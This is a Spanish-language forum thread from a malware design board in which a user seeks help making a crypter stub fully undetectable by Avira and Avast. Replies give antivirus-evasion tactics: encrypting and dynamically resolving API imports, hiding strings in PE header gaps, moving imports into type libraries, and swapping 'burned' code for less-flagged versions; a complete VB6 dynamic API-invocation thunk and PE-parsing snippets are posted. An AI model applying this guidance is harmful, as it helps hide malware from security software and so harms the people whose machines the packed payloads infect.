Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: lucasluks1004 en 31 Agosto 2011, 21:02 pm



Título: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 31 Agosto 2011, 21:02 pm
El avira me sigue ganando aun no lo he logrado sacar he prodabado de todo y nda ,,el stub esta fud a todos menos al gran amigo avira ,,algo q me desconcierta mucho es q al hacer dsplit al stub y analizar todo es igual detectado lo mejor es q puse como offset incial el 1 y ni asi me deja uno sin ser detectado lo q me marca es la firma    TR/Dropper.Gen ,, asi q nse como saltarlo ya q no hay offset q cambiar ,le cambie el icono y la descripcion del stub pero tmp hubo resultado ,,alguna ayuda plsss!


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 1 Septiembre 2011, 02:25 am
Es una detección genérica del Avira... Es un antivirus muy paranoico...

Lo más probable es que te detecte una cabecera PE de más... o tal vez tengas el PE sin alinear...


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 1 Septiembre 2011, 04:35 am
No es el caso de realinear lamentablemente ya q no es el encryptado sino q es el stub una vez creado desde el proyecto ,,pero se q viene por el lado de la caebecera ahora q tocar nse


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 1 Septiembre 2011, 11:38 am
En ese caso es el sistema que utilizas para almacenar la información en el stub... Cual usas? EOF?


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 2 Septiembre 2011, 02:48 am
lo q hago es lo mas basico pongo un separador la informacion cifrada y luego otro separadaro con la key y por ultimo un serparador mas ,,ojo q ya me detecta el stub sin la informacion agregada (seguro q el ecryptado tmb detecta pero ya el stub es detectado)


Título: Re: Avira 1 - Yo 0
Publicado por: s0litari0 en 5 Septiembre 2011, 02:55 am
avira detecta laa apis,pero para sacarlo de archivos binarios es un poco complicado,los metodos que se usan son todos privados,o si no los que no saben metodos,usan compresores y un par de cositas mas ::)


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 5 Septiembre 2011, 12:29 pm
lo q hago es lo mas basico pongo un separador la informacion cifrada y luego otro separadaro con la key y por ultimo un serparador mas ,,ojo q ya me detecta el stub sin la informacion agregada (seguro q el ecryptado tmb detecta pero ya el stub es detectado)
Esa técnica es EOF, es decir, que añades la información al final del fichero (End Of File)... Y es una técnica muy detectada...

Pero bueno, si te detecta ya el Stub sin configurar es cosa de heuristica.. es decir, que debes cifrar tus APIs... Doy por hecho que lo estas haciendo en VB6... Usa el buscador hay muchos códigos sobre el tema...


Título: Re: Avira 1 - Yo 0
Publicado por: The Swash en 5 Septiembre 2011, 18:37 pm
Y sí, de acuerdo con Karcrack la detección está casi segura en la sección de importaciones (Pero en VB la estructura cambia). Cifralas con algún modulo (Call API) que use como mucho RtlMoveMemory y luego mueve la referencia de esta cadena en cualquier hueco de la cabecera PE y adiós firma ;)


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 7 Septiembre 2011, 23:45 pm
Lo siento por no responder antes estuve con algunos problemas en el trabajo..


Desde ya gracias por contestar!!

Karcrack ,,siempre se aprende algo nuevo jaja no sabia q se llamaba asi lo q hacia,,q otro metodo existe para insertar el codigo en el stub?.

Y si estoy usando un callapi desde el comienzo gracias a eso me quedo el avira detectando  mi stub ,The Swash me gustaria q me orientes un poco si es posible obviamente como se mueve la referencia de la cadena a cualquier hueco de la cabecera PE ,,SALUDOS.


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 12 Septiembre 2011, 00:14 am
Que código utilizas para hacer las llamadas de forma dinámica? Tal vez uses uno muy quemado... te recomiendo modificar un poco esos códigos ya que enseguida los AVs les ponen firmita...


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 12 Septiembre 2011, 17:03 pm
Utilizo :

Código:
Private cCall As New Clas222
Public Function CallAPI(ByVal strLib As String, ByVal strMod As String, ParamArray Params()) As Long
    Dim Params2()
    Params2 = Params
    CallAPI = cCall.Invoke(strLib, strMod, Params2())
End Function


Código:
Private Type tAPICall
    ptsLIB              As Long
    ptsProc             As Long
    lReserved           As Long
    lPointer            As Long
    lpBuffer(3)         As Long
End Type
Private c_lVTE          As Long
Private c_lOldVTE       As Long
Private c_bvASM(&HFF)   As Byte
Private Declare Function DllFunction Lib "MSVBVM60" Alias "DllFunctionCall" (ByRef typeAPI As tAPICall) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Public Function zDoNotCall() As Long
End Function
Public Function Invoke(ByVal sLib As String, ByVal sFunc As String, Params()) As Long
    Dim lPtr        As Long
    Dim i           As Long
    Dim sData       As String
    Dim sParams     As String
    Dim lMod        As Long
   
    lMod = GetAPIPtr(sLib, sFunc)
   
    If lMod = 0 Then Exit Function
   
    For i = UBound(Params) To 0 Step -1
        sParams = sParams & "68" & GetLong(CLng(Params(i)))
    Next
   
    lPtr = VarPtr(c_bvASM(0))
    lPtr = lPtr + (UBound(Params) + 2) * 5
    lPtr = lMod - lPtr - 5
   
    sData = "8B4C240851<PATCH1>E8<PATCH2>5989016631C0C3"
    sData = Replace(sData, "<PATCH1>", sParams)
    sData = Replace(sData, "<PATCH2>", GetLong(lPtr))
   
    Call PutThunk(sData)
   
    Invoke = PatchCall
End Function
Private Function GetAPIPtr(ByVal sLib As String, ByVal sProc As String) As Long
    On Error Resume Next
    Dim tAPI            As tAPICall
    Dim bvLib()         As Byte
    Dim bvMod()         As Byte
   
    Call Unicode2ANSI(sLib, bvLib)
    Call Unicode2ANSI(sProc, bvMod)
   
    With tAPI
        .ptsLIB = VarPtr(bvLib(0))
        .ptsProc = VarPtr(bvMod(0))
        .lReserved = &H40000
        .lPointer = VarPtr(.lpBuffer(0))
    End With
   
    GetAPIPtr = DllFunction(tAPI)
End Function
Private Sub Unicode2ANSI(ByVal sUNICODE As String, ByRef bvANSI() As Byte)
    Dim i           As Long
   
    ReDim bvANSI(Len(sUNICODE))
    For i = 1 To Len(sUNICODE)
        bvANSI(i - 1) = Asc(Mid$(sUNICODE, i, 1))
    Next i
End Sub
Private Function GetLong(ByVal lData As Long) As String
    Dim bvTemp(3)   As Byte
    Dim i           As Long
   
    CopyMemory bvTemp(0), lData, &H4
    For i = 0 To 3
        GetLong = GetLong & Right("0" & Hex(bvTemp(i)), 2)
    Next
End Function
Private Sub PutThunk(ByVal sThunk As String)
    Dim i   As Long
    For i = 0 To Len(sThunk) - 1 Step 2
        c_bvASM((i / (1 + 1))) = CByte("&h" & Mid(sThunk, i + 5 - 4, 1 + 1))
    Next i
End Sub
Private Function PatchCall() As Long
    CopyMemory c_lVTE, ByVal ObjPtr(Me), &H4
    c_lVTE = c_lVTE + &H1C
    CopyMemory c_lOldVTE, ByVal c_lVTE, &H4
    CopyMemory ByVal c_lVTE, VarPtr(c_bvASM(0)), &H4
    PatchCall = zDoNotCall
    CopyMemory ByVal c_lVTE, c_lOldVTE, &H4
End Function

Lo q tmb probe es hacer un TLB para sacar esas apis del codigo pero no lo e logrado


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 12 Septiembre 2011, 20:02 pm
Utiliza un código más reciente, ese esta quemadisimo


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 13 Septiembre 2011, 23:17 pm
Gracias por molestarte en seguir con mis dudas!!..

Uso el el codigo q has expuesto en http://foro.elhacker.net/programacion_visual_basic/asmvb6invoke_llamas_apis_sin_declararlas_kinvokebas-t290072.0.html (http://foro.elhacker.net/programacion_visual_basic/asmvb6invoke_llamas_apis_sin_declararlas_kinvokebas-t290072.0.html)  ,o  ya es muy viejo?

Igual Karcrack  mi stub es solo detectado por el Avira asi q aunque este quemado lo modifique lo suficiente como para q no sea detectado por la mayoria ,,pero el avira no me detecta el codigo ya q le puse 00 a todo el codigo con el hex y aun asi es detectado


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 15 Septiembre 2011, 16:39 pm
Utiliza esta pequeña modificación:
Código:
http://foro.elhacker.net/programacion_visual_basic/asmvb6invoke_llamas_apis_sin_declararlas_kinvokebas-t290072.0.html;msg1489017#msg1489017
Esta mucho menos quemada :)

Si dices que te lo detecta antes de agregar la información debe ser con total seguridad cuestión de las importaciones de VB6... Ves quitando APIs a ver cuales te detecta... o mételas todas en un TLB...


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 16 Septiembre 2011, 03:28 am
Sin duda alguna cuando lo tenga fud ,,tu nombre estara entre los mas agradecidos al subirlo al foro,,intente sacar las apis con TLB las cuales solo logre sacar una sola me quedan estas q probe de mil  formas y no obtuve buen resultado

Código:
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private Declare Function DllFunction Lib "MSVBVM60" Alias "DllFunctionCall" (ByRef typeAPI As tAPICall) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)

CopyMemory esta dos veces por q la uso en distintos modulos


Edito:carge tu modulo y lo probe funciona excelente pero es mas detectado q el q tenia antes


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 16 Septiembre 2011, 12:52 pm
Código:
http://cobein.com/wp/?p=567
Aquí tienes otro método para cargas las APIs dinámicamente y abajo del todo esta el TLB que necesitas :) Por cierto, no necesitas declarar dos veces RtlMoveMemory() aunque la utilices en distintos módulos... desde el TLB queda como función Public ;)


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 17 Septiembre 2011, 04:39 am
Gracias Karcrack realmente viendo los codigos q creas me doy cuenta q me esta ayudando uno de los grandes en este tema en español aunque tmb vi tu nombre en varios foros en ingles ,pero buen el link del TLB esta caido  igual el codigo funciona sin el TLB ya q no sustituiste las apis ,,si me puedes pasar el .tlb se agradeceria !


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 18 Septiembre 2011, 16:38 pm
Código:
http://www.cobein.com/wp/wp-content/2010/08/Zombie.zip

El dominio advancevb se cayó pero sigue estando toda la copia en el de Cobein :)


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 18 Septiembre 2011, 20:59 pm
Gracias Karcrack  ,estoy rehaciendo todo mi stub y cargando nuevas ideas q tenia desde antes como doble encryptacion , cargar los datos en una nueva sección y mezclar el archivo a encryptar con codigo limpio ,ahora quiero darle una alternativa a
Código:
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)

Con un .tlb no se puede cargar no?
La otra opcion es reemplzarla lei tu post (http://foro.elhacker.net/programacion_visual_basic/vb6asm_alternativa_copymemoryrtlmovememorycopybytes-t300862.0.html (http://foro.elhacker.net/programacion_visual_basic/vb6asm_alternativa_copymemoryrtlmovememorycopybytes-t300862.0.html))

pero no me funciona ,o nose bien como llamarlo ,,si me podes dar una mano se agradece,,saludos


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 19 Septiembre 2011, 00:20 am
No te recomiendo esa alternativa, ya que CallWindowProc() esta bastante taggeada. Te recomiendo usar __vbaCopyBytes() con TLB ya que es como si la importase el propio VB6 y no tú.


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 19 Septiembre 2011, 05:20 am
Siento si te estoy volviendo loco con la preguntas pero no te comprendi bien q pongo
Código:
Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Sz As Long, Dest As Any, Source As Any)

en un .tlb hasta ahi no hay problema pero ahora q hago tengo por ejemplo esto :

Código:
  
Call CopyMemory(tIMAGE_DOS_HEADER, bvBuff(0), SIZE_DOS_HEADER)

Call CopyMemory(tIMAGE_NT_HEADERS, bvBuff(tIMAGE_DOS_HEADER.e_lfanew), SIZE_NT_HEADERS)

 CopyMemory tIMAGE_SECTION_HEADER, bvBuff(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i), Len(tIMAGE_SECTION_HEADER)



Lo q hago es transformar esos codigos para usarlos con CopyBytes ,pero al ejecutarlo no hace nda pero tmp me tira ningun error

uso por ejemplo:

Código:
 CopyBytes Len(tIMAGE_SECTION_HEADER), tIMAGE_SECTION_HEADER, bvBuff(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i)


EDITO: si pongo como api en el source:
Código:
Private Declare Sub CopyBytes Lib "MSVBVM60.DLL" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
funciona perfecto,,pero si lo uso con .tlb hace q carga algo pero al final no hace nda ,,alguien sabe por q?


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 23 Septiembre 2011, 01:13 am
Revisa la declaración que tienes en el TLB... Es cosa de los punteros... ByRef/ByVal.. esas cosas... revisa el TLB


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 23 Septiembre 2011, 03:29 am
Gracias Karcrack  ,,realmente no se en q me equivoco hice varios .tlb varie el orden en el copybytes y demas y nda siempre me carga pero no sale nda al final si puedes ver mi .tlb te lo agredecia mucho:

http://www.multiupload.com/UQ5IKACWP2 (http://www.multiupload.com/UQ5IKACWP2)

Desde ya gracias !!


Título: Re: Avira 1 - Yo 0
Publicado por: Karcrack en 23 Septiembre 2011, 12:20 pm
Con ese TLB debería irte perfectamente :-\


Título: Re: Avira 1 - Yo 0
Publicado por: lucasluks1004 en 24 Septiembre 2011, 02:55 am
Gracias Karcrack ,,seguire probando entonces me es raro ya q si la declaro en el codigo si anda cuando la borro y cargo el .tlb al ejecutarlo se queda como cargando pero al final no hace nda ,,pero buen seguire probando ..

Realemnte te estoy volviendo loco con preguntas pero tengo una mas jaja ,,al cargar tu modulo en mi stub me queda en el codigo final una importacion de la libreria MSVBVM60.DLL la cual es :"Zombie_AddRef" ,ahora mi pregunta es como puedo cambiar el nombre desde el codigo ya q no puedo sacar esa firma con ningun metodo probe moviendo de lugar la importacion y nda me sigue detectando el avast ahora el lugar nuevo en donde la movi ,,tmb probe hacer con el olly un mov byte ptr para limpiar lo cual me lo deja indetectado pero tmb no me lo deja funcional